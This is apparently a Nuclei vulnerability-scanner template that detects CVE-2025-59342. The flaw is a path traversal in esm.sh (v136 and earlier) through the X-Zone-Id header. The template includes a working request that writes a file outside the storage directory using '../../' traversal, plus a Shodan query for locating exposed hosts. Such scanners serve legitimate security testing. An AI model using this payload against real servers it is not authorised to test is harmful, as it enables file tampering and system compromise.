esm.sh <= v136 - Arbitrary File Write via Path Traversal

id: CVE-2025-59342

info:
  name: esm.sh <= v136 - Arbitrary File Write via Path Traversal
  author: 0x_Akoko
  severity: medium
  description: |
   esm.sh <= 136 contains a path traversal caused by improper canonicalization of the X-Zone-Id HTTP header, letting attackers write files outside the intended storage directory, exploit requires crafted header input.
  impact: |
   Attackers can write files to arbitrary directories, potentially leading to system compromise or data tampering.
  remediation: |
   Update to a version later than 136 or the latest available version.
  reference:
    - https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g2h5-cvvr-7gmw
    - https://www.exploit-db.com/exploits/52461
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59342
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-59342
    cwe-id: CWE-24
    epss-score: 0.02829
    epss-percentile: 0.84901
  metadata:
    verified: true
    max-request: 2
    vendor: esm-dev
    product: esm.sh
    shodan-query: http.html:"esm.sh"
  tags: cve,cve2025,esm,path-traversal,file-write,unauth

variables:
  randfile: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from")
        condition: and
        internal: true

  - raw:
      - |
        POST /transform HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Zone-Id: ../../modules/transform/{{randfile}}/

        {"filename":"{{randfile}}.js","lang":"js","code":"console.log('nuclei');","importMap":{"imports":{"react":"https://esm.sh/react"}},"target":"es2022","sourceMap":"external","minify":true}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains_all(body, "code", "map")
        condition: and
# digest: 4b0a004830460221009bf3370d1ccca4702838203547da7f6dd6925f1927a6980fb8a689a738dc98ff022100ad4ba8285e59358986db780e5f072aabc2c4d2d2be13858d1b62410146de66bb:922c64590222798bb761d5b6d8e72950